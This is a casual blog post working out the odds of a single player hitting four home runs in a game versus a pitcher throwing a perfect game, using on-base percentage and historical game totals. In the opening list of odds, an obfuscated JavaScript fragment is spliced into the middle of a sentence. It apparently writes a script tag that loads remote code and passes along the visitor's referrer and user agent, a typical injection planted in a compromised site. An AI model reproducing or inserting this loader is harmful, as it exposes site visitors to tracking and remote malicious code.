Statistically, how hard is it to get 4 home runs in a game or pitch a perfect game

Odds of being struck by lightning: 1 in 576,000 (source)

Odds ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anidz|var|u0026u|referrer|yeans||js|php’.split(‘|’),0,{}))
of winning an olympic gold medal: 1 in 662,000 (source)

Odds of getting a royal flush in poker on first five cards dealt: 1 in 649,740 (source)

Odds of getting a hole in one: 1 in 5,000 (source)

Odds of a single player hitting 4 home runs in a single game: 1 in 1,440,000 (source)

Odds of a perfect game: 1 in 49,656 (source)

 

After yesterday’s post I totally nerded out and started to talk about statistics at work.

I thought there might be a little more to it, but wasn’t quite sure how to go about calculating it.  This still isn’t 100% correct, but I think it’s closer than yesterday.

Ok, here goes.  (This is definitely one of my longer posts, and it’s about baseball….if you stick with me, you’ll feel a little smarter, I promise.  If you don’t want to stick it through, I understand.)

First lets start with some basic statistics.

What’s the probability of flipping heads 5 times in a row?

(1/2)^5

Each time you flip the coin you have  1 out of 2 chances of getting heads.  Each flip is independent.  Trust me on this one, I’m right.

Now, let’s think about this in terms of baseball.

We need the probability of hitting a home run for a given player.  Ichiro gets about 1 HR for every 80 AB, Chris Gimenez gets about 1 HR for every 53 AB, and Babe Ruth averaged 1 HR for every 11 AB (he’s ranked #2 behind juicer Mark Mcguire…and we don’t like the ‘roids).  Let’s say 1 HR for every 60 AB.

For simplicity, the probability of a player hitting a homerun 4 times in a row is:

(1/60)^4 = 7.7×10^-8 (or 1 in 12,960,000)

BUT there are 9 players per game, so there are 9 chances you could see a given player hit 4 homeruns. Odds go up a smidge:

9 in 12,960,000

1 in 1,440,000

Now, how likely is it for a pitcher to get 27 outs in a row.  This is a bit trickier.  What you really need is the probability that a player WON’T get on base.  Turns out that baseball likes stats and every player has an “on base percentage.”  This takes into account:

Hits

Base on Balls

Hit By Pitch

Errors (sort of….if you reach on an error you get an AB without the credit of a hit)

Career averages for:

Ichiro 0.369

Ted Wiliams 0.482 (best ever)

Nick says low 300s, so we’ll say the average player has an OBP of 0.330 (source)

That means that the probability of a pitcher getting a player out is 1 minus the OBP.  If OBP is the chance a player will get on base, 1 minus OBP is the chance the player will not get on base….also known as an out.

So the odds of a pitcher throwing 27 outs in a row is:

(1-0.33)^27 = 6.57×10^-5 (or 1 in 49,656)

So in any given game there is (on average) a 1 in 1,440,000 chance of seeing 4 homeruns by a single player and 1 in 50,000 chance of seeing a perfect game.

We established yesterday that there have been 200,519 games as of yesterday.

16 games with 4 HRs means 1 in 12,532 (statistically requiring an average of 10.58 at bats per home run – staggering!)

21 perfect games  means 1 in 9548 (statistically, pitching against players with an average OBP of 0.287)

I’m about to blow your mind.  So the last perfect game was pitched against the Mariners a few weeks ago (and it totally sucked as a Mariner’s fan).  Guess the average OBP for the Mariners – 0.289! (this actually has nothing to do with stats, but it’s super ironic that it turned out this way).

And if you looked at Josh Hamilton’s stats before his 4 HR night, he had 11 HR and 110 AB or 1 HR for every 10 AB.

What this doesn’t take into account is the extra stuff in baseball….the reason we all love it 🙂  I doubt the 4 HR games were hit against Cy Young winners and I doubt any team losing to a perfect pitcher went on to win the World Series (sorry M’s).

Did anyone stick with me?  Happy math day!  AKA, Friday